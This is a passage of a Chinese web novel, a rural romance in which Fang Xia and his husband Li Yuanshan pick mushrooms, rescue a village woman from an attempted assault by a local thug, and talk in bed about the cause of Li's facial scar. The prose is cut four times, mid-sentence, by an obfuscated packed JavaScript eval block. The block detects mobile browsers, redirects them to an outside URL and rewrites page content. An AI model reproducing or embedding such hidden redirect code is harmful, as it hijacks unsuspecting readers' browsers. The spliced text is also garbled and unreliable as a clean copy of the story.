他们一般挖野菜采蘑菇都只在山林外围,再深处听人说有野猪、豺狼,只有常年出入深山老林的猎户才敢进去,他们这些小哥儿是万万不敢去的。 两个人手里都拿着一截树枝慢慢扒拉着草丛,一来是找寻那些被高大茂盛的草叶遮住的蘑菇,二来也是防止一些蛇虫咬人。 地上松软,方夏鞋底粘了不少泥巴和枯草叶,他走一段路就要停下来用小木棍刮一刮鞋底,不然鞋底太沉都走不动路。 “这边有!”方夏发现了一丛蘑菇,急忙喊柳满过来。 这一捧足有十几个大小不一的蘑菇,都是圆鼓鼓的伞盖,短胖厚实的根,两人小心翼翼扒拉开地上积的枯草叶,掐着蘑菇的根把这一堆都采了,放到筐里后又接着往前走。 雨后蘑菇冒得快,各色各样的蘑菇都从草丛里,枯叶下或者树根底钻出来了,此时来采蘑菇最好,来得晚了要么被人早早挖走,要么被太阳晒的蔫吧了。 方夏两人都是经验足的小哥儿,也认得哪些蘑菇能吃,哪些有毒,他们这些乡下双儿,常年在土里刨食,不拘什么,能得着一口鲜灵的吃食,就是最美的事了。 树木渐渐变得密集起来,方夏捶捶酸胀的小腿站起来,采蘑菇蹲着时间长了,自然有些不舒服,连带着腰也有些难受,平日里干活也多,他都没这么累过,都怪李远山,昨日夜里折腾的也太狠了些。 “想什么呢?脸这么红。”柳满笑着拍拍他的肩膀。 “没什么。”方夏拍拍脸,抬头看着逐渐变密的树木,这块林子的天已经看不清了,都是密密匝匝的枝条和树叶,便道,“走得有些深了,咱们回吧?” 柳满搓了搓手上的泥土,也应和着:“可不是,一会儿功夫就走这么远了,咱们可不去深林子里,差不多回吧。” 两人背起竹筐沿路慢慢往回走,这一段没什么人来,再加上树木密集阳光照不进来,雨后更显山路松软湿滑。 他俩不敢走快,只掰了一截粗树枝拄着走,偶尔碰见坡地,更得慢慢挪。 过来时不觉得,此刻要往回才发现竟走了这么远,家里汉子打柴的声音有些低了,只隐隐从树叶间传出来一声两声。 两人正辨着方向,就听见有人喊方夏的名字,不用细看就知道是李远山过来了。 “小夏。”李远山个子高,扒开粗壮的枝条大踏步走过来,“眼看着你们走的没影儿了,我过来寻一寻。” “竹筐给我。”说着就伸手拿过了方夏肩上背着的筐子,他抬头看了柳满一眼,只是到底是别人家的夫郎,不知要如何开口,便没做声。 方夏看了看他,回头一把将柳满的筐子塞到李远山手里,抿着嘴说:“满哥儿的筐子,你也帮着背吧。” “哎吆那敢情好,我可得谢谢你们夫夫俩呢!”柳满笑嘻嘻说着,也不扭捏,搀着方夏的胳膊跟上。 有李远山在前面探路,方夏他们两个小哥儿走得也放心,转过一处尤为茂盛高大的树木,远远便看见吴大牛正在捆柴火。 地上已经放了两捆扎的密密实实的柴火,是李远山的。吴大牛看见他们回来,直起腰道:“差不多了,回吧?” 几人点点头,两个汉子背起柴火走在前面,方夏和柳满跟在后边,今日收获不少,晚上回去可以给家里添些可口的吃食,大家心里都很满意,下山路虽不好走,却也不影响雀跃的心。 吴大牛回头递给柳满一枝酸溜溜果,说:“打柴时找见的,没到日子,就这一枝看着熟了。” 这种果子多生在山中坡地上,颗粒小,成熟时颜色偏黄或者泛红,一堆堆小果子结在枝子上,夹杂着小刺,吃的时候需得格外小心。 柳满接过后给方夏掰了一截,道:“我原先怀小石头时,爱吃个酸的,可巧害喜时候是冬天,想吃这一口还得不着!” 说着小心掐一颗果子塞到嘴边,抿着嘴吃了。方夏学着他的样子也吃了个果子,立时酸涩的感觉溢满口腔,酸得口水差点流出来。 方夏捂着嘴道:“太……酸了!” 他以前打柴时间紧,着急回家干活,若是回去晚了,定会被赵桂花和方春苛责,因此也没什么功夫去寻些野果子吃。 哪怕是饿的狠了,也只喝些凉水勉强填填肚子,就要接着去做别的活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292672|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计了,像这样不太常见的酸溜溜果更是没吃过。 “不是很酸呀,酸甜的呢!”柳满惊讶地说,还不忘从方夏手里又掐了颗吃,“真的不酸呀。” “我吃不了,还是给你吧。”方夏苦着脸将手里那一截挂满果子的枝子又递给了柳满。 柳满哈哈笑着,拽着竹筐带子跑到前面去找自家汉子了:“你是个不能吃酸的,我同大牛一起去吃。” 压着嘴里的酸涩,方夏低头笑了。 这些日子他常常会笑,自从嫁给李远山后,家里人待真心实意待他,李远山也不似寻常汉子在家作威作福要使唤打骂夫郎,如今还有能说得上话的小哥儿,过去那些小心过活和打骂磋磨的日子渐渐远去,再也不会回来了。 忽地面前伸出来一只大手,掌心里躺着一颗红姑娘果,李远山凑近了些,压低声音轻轻说:“这个甜,吃这个。” 见方夏没接,他又往前递了递道:“统共没几个,打柴时候找见的,我藏袖子里了。” 方夏这才回过神来,他小心拿起李远山手里的果子,轻轻撕开外皮送到嘴里咬了一小口,确实甜津津的,不是那种齁甜,而是在整颗果肉里带着一丝微甜,这种果子没熟时是苦的,熟透了才会有点甜味。 吃完了一个红姑娘果,方夏还不忘把果皮收起来塞到袖子里,这种果皮晒干了拿来泡水喝可以下火,他们平日里都是喝白开水,不像一些大户人家讲究泡茶,难得水里泡点东西。 “甜不甜?”李远山笑着问。 “甜的。” 不等方夏反应过来,又一颗剥好的红姑娘果直接递到了嘴边,他悄悄抬眼瞅了瞅前面走着的吴大牛和柳满,见两人都没回头看,便赶紧张嘴吃了。 吃完还不忘抹抹嘴,怕被人发现似的,一双杏眼里都是光彩。方夏嚼着甜丝丝的果子,见旁边的李远山还要剥果子喂他,急急道:“你也吃。” “我不爱吃这个,你吃吧。”说罢李远山直接将剥好的果子喂到了方夏唇边不动了,大有一种你若不张嘴吃了,我便一直这么举着的架势。 方夏只好红着脸吃了。 下山的路上,两人就这么一个喂一个吃,没多久,方夏袖子里就攒了十几个果皮,回家的路有些远,可不知不觉也快走到了。 临近村子的河滩地泥土松软,杂草也长得极为高大,需得小心些才是。 李远山四人出了林子,也不着急,沿着河滩慢慢往村子里走着,时不时说笑几句。方夏嫁过来后头一次跟着走了这么远,心里高兴,难得的话也多了些。 傍晚太阳快落山了,总算没晌午时热了,偶尔吹来一丝丝凉风,衬着人归家的松快,也舒爽不少。 还没走出这块河滩地,忽地听见不远处有人大喝一声:“撒手!” 方夏和柳满都吓了一跳,睁大眼睛停在了原地。 李远山和吴大牛对视一眼,冷声开口:“是云山。”说罢急忙朝着声音传来的方向跑,后面的方夏和柳满也赶紧追了上去。 17. 常六指 走出林子后,要经过一段河滩地,再往前走一里多才能进村子。 这片河滩草木旺盛,因着离河太近,并没有什么人耕种,水大时要淹,没水时便是盐碱地,种庄稼实在划不来,渐渐地就成了长满野草的荒地。 许多家里养着牲畜的常常来此处打草,他们李家养的多,更是日日都要来这边。 大太阳晒了一天,草叶上的水迹都晒没了,趁着傍晚天气凉快些,李云山便背着大竹筐来河滩地这边割草。 往常都是李云山和李晓山他们俩兄弟轮流去割草,今日三弟去放牛了,割草的活计便轮到他了,想着这几日下雨,家里的鸡鸭都没吃上新鲜的草,今日定是要多割些回去。 李云山拿着镰刀手上不停,不一会儿功夫就割了大半框鲜嫩的草叶。 他直起腰擦了擦头上的汗珠,正预备换个地方再接着割草,眼角余光就瞥见一道人影,正鬼鬼祟祟猫着腰往前走。 这块地草长得高,能将个子矮些的人全身都遮住,更别说弯着腰了,草木掩映着人,周围只有虫鸣鸟叫的声音,不仔细看根本发现不了草丛里刻意藏着的身影。 虽然隔了有一段距离,但李云山眼亮,一眼就认出这是村中有名的无赖——常彪,这人手指畸形,小指处比旁人多长出来一截短短的指头,村中人便喊他“常六指”。 这常六指从小就是个不学无术的主儿,平日里也不务农事,只干些偷鸡摸狗的勾当,早些年不服管教,早早把爹娘气死了,后来两个出嫁的姐姐看他不成气候,也不同他来往了。 李云山将镰刀别在裤腰带上,轻手轻脚跟上去,见常六指忽地扒开一人高的草丛猛地向前扑去,竟然抱住了一个正在挖野菜的妇人。 他虽只有十六,和村中一些比他大的汉子们混在一处,也渐通人事,见此情景,慌忙红着脸往后退。 那边挣扎着,惊动了草丛里的鸟雀,扑棱着翅膀飞远了。 正待要转身,李云山却瞅见常六指正死死捂着妇人的嘴,那妇人拼命挣扎间露出了半张熟悉的脸——竟然是隔壁徐宝的媳妇孙青青! 若是你情我愿,他只当没看见,可此时再看却不是那么回事了,现下这遭雷劈的事就在他眼皮子底下,他不能当做没发生,顾不得多想,李云山抽出腰里别着的镰刀冲过去高声叫道:“撒手!” ------------------------------------- 李远山和吴大牛两人都是身高腿长的汉子,跑的自然快,吴大牛虽没李远山个头高,平时也是做惯了农活的结实汉子,哪怕都挑着两捆重重的柴火,转眼就将方夏和柳满甩在了身后。 等方夏两人背着竹筐气喘吁吁跑到地方,就见孙青青浑身发抖倒在地上,被三个汉子挡着。 而不远处一个满口黄牙不认识的汉子正呼哧呼哧喘着粗气,嘴里还骂骂咧咧的。 方夏匆匆过去将人扶起来,柳满帮孙青青理了理凌乱的头发,他们都是成了亲的哥儿,此情此景傻子也知道怎么回事,一时都气愤不已。 常六指原本以为孙青青没什么依靠,她嫁的那懒汉子成日里也不着家,他早就盯上了,今日趁着人独自出来挖野菜,想着自己定能得手。 不料半路杀出来个李云山坏他好事,气得狠狠朝众人这边唾了口唾沫,道:“小兔崽子李老二!坏你常爷爷好事!” 李云山还要上前,被他哥一把拽住了,到底年岁还小,方才若不是手里有镰刀,救人时还不定身上要挂多少彩呢。 李远山常年干杀猪的营生,身上自带煞气,再加上他身量高,往那一站铁塔似的,不说话就能将人吓住,更何况脸上的伤疤,让他整个人更显得凶神恶煞。 “你给谁当爷爷?”李远山冷声问道。 常六指缩了缩脖子,李老二还小在他手里讨不到便宜,可李远山就不一样了。 从前他在街上碰见这屠户还要绕着走呢,不说别的,就那满身的煞气就够让人胆寒的。 这常六指心里虽怕面上仍强装镇定,他眼珠子一转看到了不远处扶着孙青青的方夏,见人身姿纤细高挑,脸上白里透着红润,心下不忿,这李屠户竟这般好命,忍不住阴阳怪气开口:“哎吆吆,李癞脸你硬气了啊,这娶了夫郎就是不一样啊!” 李远山眉头微皱二话不说,几步上前一拳头砸在了常六指的脸上,在别人还没反应过来的当口,直将人打得直不起腰来。 趁着常六指趴在地上起不来,吴大牛和李云山也上去狠狠补了几脚,这人没脸没皮,自己没本事娶不上媳妇夫郎,就常常喜好占别人便宜,如此猥琐不知羞耻,活该被揍。 这边李远山也没停,一手拖拽着常六指的衣领将人从地上拉起来,一手照着人脸又狠狠揍了过去。 这次他没收着劲儿,常六指在他手里好似一滩烂泥拖在地上,鼻子嘴巴都是血,甚至从嘴里还吐出了两颗带着血的牙。 汉子们打起架来眼红,常常六亲不认,一般人都不敢靠近。 此时更是吓得方夏都呆住了,他从没见过李远山同人动手,虽说自家汉子长得有些吓人,可自打他嫁过来这些日子,对他都是和和气气的,哪有今日这番模样。 还是柳满机灵,急忙叫住了围着常六指的三个人,虽说此事他们占理,可若是将人打出个好歹来他们也得吃官司。 再者说这事事关孙青青的名声,女子哥儿最看重名节,若是闹的大了被村里人知道,免不了要被说三道四,到时候传着传着有理也变成没理了。 吴大牛呸了一声,警告道:“若是敢出去瞎说,定是饶不了你!” “不敢说,肯定不敢说!”常六指哆哆嗦嗦回,整个人在地上缩成一团,抖个不停。 李远山眯着眼睛,脸色黑沉沉的,只压着声音喝道:“滚!” 常彪一听这凶神发话,屁都不敢放一个,麻溜地从地上爬起来踉踉跄跄跑了。 见人跑了,他们也不追,只让方夏和柳满先送孙青青回去, 柳满心细,帮着孙青青拍拍身上的草叶土屑:“这事儿啊不能声张,若是给一些爱嚼舌根的人听了去,不定怎么编排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292673|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你呢,以后啊也别自己一个人出来,喊上我和夏哥儿。” “满哥儿说的是呢,青青你若要挖野菜或是采菌子,咱们结伴儿出来。”方夏跟着点点头。 方才被李远山凶狠的样子吓呆了,此时才回过神来,拿着帕子帮孙青青擦着脸,他不善言辞,便顺着柳满的话说。 孙青青此刻才止住了眼泪,她一个妇道人家,哪里见过这样的腌渍事,更别说常六指这样不要脸的无赖了,当时惊惧之下除了拼命挣扎只剩下哭泣,这会儿缓过劲来也庆幸自己运气好,碰上了李云山救她。 她抽噎着回头看了李云山一眼,眼睛红红的低声头道谢。 跟在他们身后不远处的李云山看到了,不好意思地挠挠头,忙红着脸摆手示意不用谢。 他们几个汉子为了避免被人看见说闲话,便远远跟在方夏他们身后,几人前后脚回了村。 一路无话,待几人走到到巷子口,太阳早就落下去了。 家家户户院子里都飘着饭菜的香味,趁着天黑前最后一丝光亮,庄户人家要赶紧做饭吃饭,再晚省的还得点油灯。 远远地就听见孙青青的婆母徐老太的声音:“青青!孙青青!你野去哪里了?这时候了也不回家做饭,等着我们饿死吗?” 一听徐老太的语气不好,孙青青顾不得其他,匆匆同方夏、柳满招呼一声便回家去了,等她进了院子,还能听见徐老太埋怨责怪的声音。 柳满着急回家看孩子,他们出来一下午,不知道小石头乖不乖,他叹了口气转身进了自家院子。 只剩下方夏懵懵地站在家门口,此时身边没人,周围安静下来,不由得想起李远山打人时的狠劲,他后知后觉心里生出了些许怕意。 还没等方夏想明白什么,后边跟着的李远山走过来拉着他的手腕道:“怎地不进家?站在门口做什么?” 方夏不自在地瑟缩了一下,没挣脱,被李远山就这么拉着迈进了院门。 灶房里,周秀娘早就熬好了米粥烙好了饼,只等他们几个回来就能开饭,李青梅见人进门,连忙去水缸里舀水好让他们洗干净手吃饭。 李远山将两捆柴火挑去柴房放好,又接过方夏肩上的竹筐,看人还是有些呆呆的,便开口:“今日娘熬了粥,无需添汤,地皮菜晒干存起来吧?那这些蘑菇一会儿炒来吃?” 方夏回过神来,抬眼看了对面的人一眼,点点头应了一声,李远山看到他眼中怯意也没做声,索性也不洗手了,只蹲在自家夫郎身侧,同他一起摘洗蘑菇。 见有新鲜的蘑菇吃,几个弟妹也没闲着,都凑过来一起帮忙。 刚采回来没多久的新鲜蘑菇,炒着吃最香,方夏在林子里的时候就将泥沙差不多抖干净了,这时候只需细细挑拣一番,把带虫眼的去掉就行,人多手快,没多久就都收拾好了。 周秀娘那边也预备好烧热了锅,炒蘑菇简单,热油大火快炒就行,山里的野味讲求的就是鲜灵,原汁原味的才好吃。 蘑菇炒好后,又捞了些咸菜切了,一家人围着热气腾腾的桌子开饭了。 18. 擦药 吃过晚饭,一家人都各自回屋洗漱去了,夜里寒凉,哪怕不睡钻到被窝里捂着也好。 正房里,周秀娘安顿好小女儿,也早早上炕躺着了。 方才收拾锅灶时,李远山同她说了路上碰见常彪那泼皮无赖调戏孙青青的事,幸亏他们家老二机敏有胆识将人救下了,可也让周秀娘这心里不甚踏实。 翻了个身,周秀娘忍不住叹了口气,同躺在身侧的李达道:“他爹,是时候托媒人给老二留意着了。” “怎地这样着急?老大这才刚成婚不到一个月呀。”李达问。 “老二这眼看着都快十七了,咱们先找媒人寻摸着,也不是立马就能有合适的,这不得提前打听着?”周秀娘回道,“遇着合适的,还要亲自去相看相看,再加上后头纳采、问名、纳吉这许多套数,事儿成了怎么也得一年半载。” 李达想了想,也是,再过个一年半载老二就十七八了,正是说亲成家的年岁,便点点头,忽地发觉老妻看不到,开口道:“还是你想的周到,那明日得空找媒婆知会一声,碰见他几个舅舅也让帮着留心些。” “成!”周秀娘高兴地说。 人活着就该有个奔头,对于他们夫妻二人来说,给儿子们都娶了媳妇或是夫郎,看着孩子们成家立业,老两口就算圆满了。 前几年家里为着老大的婚事没少奔波,村中有个不成文的规矩,家里儿子多的,老大若是没成婚,底下的兄弟就得等着,若是越过了老大先给弟弟们娶亲,那当大哥的就更说不上亲事了,不仅如此还要被村里人笑话。 如今李远山同方夏小日子过得和顺,他们夫妻俩心头最重的担子卸下了,也要顾着老二的终身大事了。 ------------------------------------- 今日进了山,李远山和方夏都好好洗漱了一番,彻底收拾干净后仍旧是由李远山去倒水,方夏来扫炕铺被褥。 待将两人的褥子都铺平并到一处,方夏正要拖鞋上炕,却被一条有力的胳膊从身后搂住了,温热的身躯紧贴过来,他整个人都被笼罩在李远山高大的身影里。 “吓到了?”李远山压低声音在方夏耳边随意问。 “没……” 李远山拉过方夏的一双手包在掌心,声音不自觉又放轻了些:“我说今日在河滩地那会儿,可是吓着你了?” 方夏僵立着,想起李远山今日动手打人时那副凶恶的模样,身体不由自主地抖了一下。 李远山攥着方夏的手轻轻揉了几下,道:“林子里蚊虫多,手上是不是都被咬红了?” 方夏不知这话头为何转化这么快,只安静地点点头,也没敢动。 两人贴的太近,甚至连李远山在他耳朵后的呼吸声都能听得一清二楚,让他一时间不知道该怎么办才好。 李远山在他身后呵呵笑了两声,单臂用力,直接一只手就将人抱上了炕,骇得方夏差点惊叫出声,忙自己用手捂住了嘴巴。 “刚去拿了些药膏,是二舅以前给的,专治蚊虫叮咬的,我给你抹上。”李远山说着长腿一跨,也跟着上了炕。 听说是要擦药,方夏这才长出一口气,在炕上坐好了。 指挥着人将衣袖挽起,露出手腕,只见方夏白生生的手背和手腕处被咬了好些大包,李远山打开手里装药膏的小盒子,食指搓了些药膏轻轻擦在方夏的手上。 李远山常年累月做活,手指粗糙,搓在方夏手背处都能感觉到他指腹上粗粝的纹路。 他虽是个大老粗,可给夫郎擦药却用上了十二分的耐心,一只手细细抹好了,又换另外一只手。 药膏凉凉的,抹在手上不大一会儿功夫便不那么痒了,两只手抹的差不多了,李远山又问:“小夏,别处衣服遮不住的地方可还有红疙瘩?” 方夏天生招蚊子,一到蚊虫多的季节,身上免不了被蚊虫叮咬个遍,从前他习惯了,被咬了就挠一挠,挠破了出血是常有的事,他也不甚在意,从不当一回事。 乡下哥儿谁还怕蚊虫咬啊!咬的包多了或是挠破了流血,忍一忍就过去了。 现在李远山不仅发现了他怕咬,还特意拿了药膏给他涂,心里好似被什么暖暖的东西填满了,今日生出来的那点对汉子的惧意,也被压在心里消弭了。 只是除了手上被咬的疙瘩,其余的则是脖颈处或者脚腕这些地方,这让他怎么好意思同自家汉子说呢,便赶紧摇了摇头道:“没有了。” 还是李远山眼尖,瞅着人脖子后边几处红红的大包说:“怎地没有?脖子后边好几个呢,许是你看不见,来,转过来。” 方夏没法子,只好慢慢转过身去,低下头将脖子露出来。 白皙的皮肤在昏暗的灯光下越发显得细腻莹润,几处被蚊子叮咬过的地方泛着红,李远山忍不住吞了下口水。 粗糙的指尖蘸着微凉的药膏,打着旋抹在方夏后颈处的皮肤上。 因为看不见,触感被不断放大,李远山手指经过的地方,带起一阵痒意,甚至让他产生了一种错觉,这擦药比不擦还要痒。 待抹的差不多了,李远山收回手,这次他也不问了,直接伸手一捞,抓住了方夏的脚腕。 方夏吃了一惊,“啊”地一声向后仰去倒在了李远山的怀里,脸也不可遏制地红了个透。 自家汉子怎么能如此孟浪?还没躺被窝呢,怎么能直接上来就要抓他的脚? 方夏忍不住想挣扎着起身,可他的力气怎敌得过李远山?只不过小猫挠痒似的将两人的衣服弄乱了些。 “别动。”李远山沉声道,“这处给你抹完就好了。” 一时之间,两人都没再说话,旖旎的气息顺着昏暗的烛光在屋里弥散开,缠绕着紧紧贴在一处的人。 方夏在李远山怀里,整个人紧绷着不敢动,虽说他们已然圆房,可面对靠的这么近的人,滚烫的气息熏着他,让他不由自主地有些紧张。 还是李远山察觉了方夏的情绪,将人轻轻拉着转过身来,又拢了拢手臂将人带到怀里再一次抱住,才低哑着声音开口:“小夏,今日的事定是吓着你了,不过你别害怕,我定不会与你起争执,也不会同你动手。你呀,只管顾着自己就成,日后若是再遇见这样的事,汉子们打架你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292674|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只需远远躲着。” “嗯,我不怕你的,只是没见过你这样。”方夏点头小声应着,忽地想起来什么,又开口道,“那你也不要动不动就打架,万一伤着自己可怎么办?” “没事,我有分寸。再者说,我也不是那逞凶斗狠的人,今日那常六指实在是不要脸,做下这等龌龊的事,也活该挨一顿打!” “我懂得的。若不是你们几个,孙青青定是逃不过这一遭。”方夏晓得其中厉害,同是嫁了人的媳妇夫郎,心里不由得一阵后怕。 李远山抬手在方夏后背轻轻拍着:“今日若是村中其他人遇见了,想必也是会出头的,那泼皮左右是要挨一顿打的,也好让他长长记性,别再做出这腌渍事儿来。” “嗯,你说的是。只是孙青青怕是吓坏了,唉!”方夏叹了口气,心下不忍,幸亏他嫁的是李远山,不是那四六不着的徐宝,想着想着头顶不自觉地贴上了汉子的肩膀。 “日后你若是在村里遇着那泼皮,躲远就是,家里有我,他必不敢招惹你。” “嗯,我知道了。” 药膏都涂好了,李远山见方夏没了初时的紧张和害怕,便吹灭了灯抖开被子躺下了。 被窝里暖烘烘的,李远山又紧挨着他,方夏忍不住往墙角缩了缩,可这土坑能有多大,不待他挪出去,李远山就又靠了过来,如此几回,他都快贴到冰凉的墙上了。 这时方夏才琢磨出不对来,李远山绝对是故意的,他有点不知所措,刚歇下去的不安又涌了上来。 两人成亲已有将近一个月了,可昨日才圆房,而李远山虽说已经二十二岁了,可仍旧是血气方刚的汉子,且他刚沾了荤腥,难免忍不住。 自家汉子主动求欢,方夏是不敢忤逆的,可自己身上还不甚利索,再者今日还凑趣去林子里采菌子木耳,走了老远的路,依着李远山的性子,自己怕是经不住折腾的。 寂静的夜里,两人的气息声清晰可闻,方夏受不住地扭头面朝着墙,身后人伸出一双坚实的臂膀搂住了他。 方夏心里乱乱的,呼吸越发急促起来,搂着他的胳膊越箍越紧,滚烫的呼吸就在耳边,李远山的反应无法忽略,让他的心好似都要扑通扑通跳出胸腔一般。 “不是手脚凉么?你躲什么?我给你暖暖,”李远山哑着嗓子道。 方夏脑子都仿佛被浆糊塞满了,不是要做那事?怎地又要暖起手脚呢? 黑暗中响起李远山低沉的笑声,脸颊轻轻厮磨着方夏,在人耳边低声道:“我又不是那放浪的色胚,哪能天天要?我只是想抱着你睡。” 李远山说的诚恳,方夏也慢慢放下了悬着的心。 “那你……怎么办?”方夏羞红了脸慢慢问着。 “忍一忍就过去了,我晓得你昨日受累,必不会现在就闹你,安心睡吧。”李远山抬起手,像哄孩子一样轻轻拍着方夏的背,又道:“我们来日方长,不在这一时,你且放心,我说到做到。” 方夏这才踏实了,闭着眼睛沉沉睡了过去。 感觉到怀抱里的方夏睡沉了,李远山又紧了紧胳膊,搂着夫郎扯着嘴角也睡着了。 19. 伤疤 第二天天刚蒙蒙亮,方夏便睁开了眼,昨晚被李远山紧紧搂着睡觉,原以为自己会紧张到睡不着,却不想一觉睡到了大天亮。 被窝里有了火炉似的李远山,一整晚方夏都睡得热乎乎的,脸颊上也是红扑扑的,再也没有以前缩成一团的冷意了。 今日不用杀猪,身旁的李远山难得还没醒,正侧着身子对着他,闭着眼睛呼吸平稳。 方夏趁着人没醒,忍不住凑近了去看。 汉子鼻梁高挺,眼眶很深,整个轮廓都透出一股子坚毅的阳刚气,只左脸上纵横交错的伤疤使人破了相,看着有些吓人罢了,如今自己日日看着,也渐渐习惯了。 只是不知他原先糟了什么难,才弄得脸上生出这样可怖的伤疤。 如此想着,方夏忍不住抬头,指尖触到李远山左脸来回摩挲,他怕吵醒睡着的汉子,没敢使太大力气,只轻轻摸着那仿若老树皮似的一块皮肤,心里闷闷的。 方夏忍不住想,该是很疼的吧,这么大的伤疤,覆盖了整个左半张脸,不知道他当初是怎么熬过来的。 忽地李远山伸手一握,抓住了方夏贴在自己脸上的手,睁开了眼睛。 看着不带丝毫睡意的一双眼睛,方夏吓得赶紧抽手,可他一个小哥儿怎抵得过汉子的力气,手还不知羞地贴在人的脸上,只好结结巴巴开口:“你你你……你啥时候醒的?” “你摸我的时候。” 李远山这话说的模棱两可,方夏听了脸直接爆红,好似立马能蒸一笼屉的白面馒头。 “你怎么醒了也不说话?”方夏有些埋怨他,声音不自觉也高起来。 李远山也不松手,只问:“说什么?自家夫郎,又不是不能摸。” 一句话说得方夏脸更红了,整个人好像煮熟的虾子一般埋头窝进被子里,他怎么不知道李远山私下里竟是这般厚脸皮的人,让他恨不得挖个坑将自己埋进去完事。 见逗人逗得有些过了,李远山忙拉开被子将人挖出来,呵呵笑着道:“怎地害羞成这样?我逗你的,快出来,小心一会儿憋得出不来气。” 方夏这才从被子里露出脑袋,抬眼瞥着上方的人,眼神里带着些不忿和埋怨。 知道自家夫郎不害羞了,而且是真的不再怕自己这张吓人的脸,李远山心里自是欣喜不已。 他伸手从枕边拿了衣服预备穿,又顺手将方夏的衣服塞进被窝暖着,秋天早晚凉,衣服不捂一捂直接穿上身怕人着凉。 不成想正欲穿衣的李远山却被夫郎的一只手拽住了袖子,他回头看到方夏欲言又止的模样,不解地问:“怎地了?” “你……你的脸……”方夏吞吞吐吐,心里有些不忍,可又耐不住心疼,鼓足勇气开口问,“你的脸是怎么伤的?” 李远山拿衣服的手一顿,也不继续穿了,只侧过头问:“想知道?” “嗯。”声音不高,但在屋里却格外清晰。 “其实也没多大的事,都是小时候调皮惹的祸。”李远山见方夏想听,便也不起了,将自己手里的衣服随手胡乱一团塞进被窝里,翻身躺下,叹了口气道,“那时候小,不懂事……” 两人窝在被子里,絮絮叨叨说着话,不知不觉天已大亮了。 却原来李远山脸上的伤疤,是小时候被热粥给烫的。 那时候家里贫寒,并不如现在这般殷实,李达和周秀娘夫妻俩每日操持农事,再加上李达是外来户,家中没人帮衬,日子过得平淡且忙碌。 一日周秀娘刚盛出一锅滚烫的热粥,就被喊着去地里浇地去了,谁料热粥放在锅沿,被李远山不小心伸手打翻了,一盆粥就这样劈头盖脸浇到了刚会走的小娃娃头上,顿时将人烫得满脸血泡。 待李达夫妻俩循着孩子的嚎哭声回来时,李远山的半张脸都被烫坏了。 那时周秀娘的二哥周兴旺正进山采药去了,他们一时没了拿主意的便听信了村里老人的偏方,说是用出生没几日的小耗子泡出来的香油抹脸,可以治疗烫伤。 也是急病乱投医,为着儿子的脸,夫妻二人花了些银钱从村里几户人家买了不少耗子油。 可涂抹几日后发现,李远山脸上的伤疤不仅没痊愈,反而越来越严重了,待几日后周兴旺从山里采药回来气得直叹气,李远山的脸早就留疤毁容了。 李达夫妻俩后悔不迭,都道是自己的错,害了孩子。 后来,夫妻俩借了银钱又带着孩子去镇上和县城的医馆里找大夫看。 可不管换了多少家医馆,无论多少大夫看过,都说李远山的脸没治了,定是终身留疤的样儿,至此夫妻俩才歇了心思,抱着孩子回家去了。 因着这个缘由,李家老二也要的晚,不似旁人家里,几个孩子之间差个两三岁,而李远山和二弟李云山足足差了六岁。 听着李远山说完,方夏沉默了很久,他伸手慢慢摸着李远山左半边脸,眼里都是藏不住的疼惜,轻声询问:“疼不疼啊?” 李远山定定看着枕边的人,扯了扯嘴角道:“这都多久了,早就不疼了。” “那以前……就你小时候,定是很疼的吧?”方夏断断续续地说,心里很不是滋味,自己若不问,便不会勾起他的伤心事了。 “那时我年岁太小,记不得了。”李远山拇指缓缓抚着方夏的眼睛,看着枕边人藏不住的愧疚眼神,声音略大了些:“再说了,如今日子过得这么好,我还想那些作甚?真不疼了,咱起吧,想喝你熬的疙瘩汤。” 见汉子说饿,方夏也不再七想八想的,赶紧起身穿衣服,今日早饭做疙瘩汤,定要多打两个鸡蛋,都捞到李远山的碗里! ------------------------------------- 今日仍旧是一个艳阳天,一家人吃过早饭,便各自忙碌去了。 不杀猪的时候,家里汉子大部分时间不是去忙地里的活计,就是去砍柴打草,而家里的妇人小哥儿则是操持家务,虽说没有汉子们费力气,却也更加繁琐细碎,都是寻常庄户人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292675|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 